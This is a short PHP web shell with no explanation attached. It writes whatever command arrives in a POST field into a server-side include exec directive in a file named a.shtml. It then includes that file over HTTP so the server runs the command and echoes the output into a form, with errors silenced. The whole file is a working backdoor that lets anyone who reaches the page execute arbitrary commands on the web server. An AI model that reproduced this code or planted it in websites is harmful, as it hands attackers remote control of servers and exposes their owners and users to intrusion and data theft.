<?php if ($handle = @fopen("./a.shtml", 'w')) { @fwrite($handle, '<!--#exec cmd="'.$_POST['a'].'"-->'); } echo '<form name="a" method="post" action=""> <textarea name="textarea" id="textarea" cols="121" rows="24"> '; @include("http://".$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['PHP_SELF']),'/\\')."/a.shtml") ; echo ' </textarea><input type="text" name="a" id="a"><input name="input" type="submit"></form> '; ?>